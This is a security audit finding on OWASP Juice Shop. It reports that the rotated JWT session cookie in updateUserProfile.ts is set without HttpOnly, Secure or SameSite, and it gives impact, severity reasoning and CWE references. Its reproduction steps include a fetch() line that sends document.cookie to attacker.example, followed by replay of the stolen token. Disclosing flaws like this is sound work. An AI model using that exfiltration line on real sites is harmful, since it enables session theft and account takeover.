Session 'token' cookie set without HttpOnly, Secure, or SameSite
After updating the user profile, the rotated authentication JWT is written to the 'token' cookie with no options, leaving it readable from JavaScript, transmittable over plaintext HTTP, and sent on cross-site requests.
In routes/updateUserProfile.ts the auth token is rotated and stored in a cookie with no security attributes:
const updatedToken = security.authorize(userWithStatus)
security.authenticatedUsers.put(updatedToken, userWithStatus)
res.cookie('token', updatedToken)
security.authorize returns a signed JWT (jwt.sign(user, privateKey, { expiresIn: '6h', algorithm: 'RS256' }), see lib/insecurity.ts L56) used by expressJwt({ secret: publicKey }) (line 54) to authenticate the user. By calling res.cookie('token', updatedToken) with no second argument, Express writes the cookie without HttpOnly, Secure, or SameSite — meaning:
- Any XSS on the site (e.g. the username SSTI in
routes/userProfile.ts) can readdocument.cookieand exfiltrate the JWT. - The cookie is sent over plain HTTP, so a network attacker can capture it.
- The cookie is sent on cross-site navigations, exposing the application to CSRF on any state-changing GET/POST handler that relies on cookie auth.
The same pattern appears in lib/insecurity.ts line 193 inside updateAuthenticatedUsers, propagating the issue across the session lifecycle.
- Log in to the Juice Shop and observe the
tokencookie in DevTools — neither HttpOnly nor Secure nor SameSite is set. - From any reflected/stored XSS sink, run
fetch('https://attacker.example/' + encodeURIComponent(document.cookie))to steal the user's session JWT. - Replay the captured
Bearer <token>against any authenticated endpoint to impersonate the victim for the 6-hour token lifetime.
Session token theft via XSS, network interception over HTTP, and CSRF exposure for any cookie-authenticated handler. Any successful XSS — for example the #{eval()} username SSTI also present in this codebase — becomes a full account takeover. No authentication is required to attack; the attacker only needs to lure or compromise an authenticated victim.
Line 40 calls res.cookie('token', updatedToken) with no options object, so Express defaults apply: HttpOnly=false, Secure=false, SameSite unset. Since security.authorize returns a signed JWT used for authentication, the cookie becomes JS-readable (XSS exfiltration), transmittable over plaintext HTTP, and sent on cross-site requests. The scope explicitly instructs evaluators to treat findings as production bugs regardless of Juice Shop's training nature, so this misconfiguration is a real, exploitable session-cookie hardening defect.
The bare res.cookie('token', updatedToken) at line 40 emits the rotated JWT with no HttpOnly/Secure/SameSite, so an unauthenticated remote attacker (PR:N, AV:N) can steal it — but only via a chained precondition such as an existing XSS sink (the noted #{eval()} username SSTI), a plaintext-HTTP MITM position, or a cross-site request that the victim must trigger (AC:H, UI:R). Once captured, the JWT is a valid Bearer for 6 hours against expressJwt, yielding full impersonation of the victim account: read of their data (C:H) and arbitrary state changes through authenticated endpoints (I:H). No DoS primitive exists here (A:N), and the impact stays within the same auth component (S:U) since the stolen credential is consumed by the same application.
- CWE-1004
- CWE-614
- CWE-352
- OWASP A05:2021 Security Misconfiguration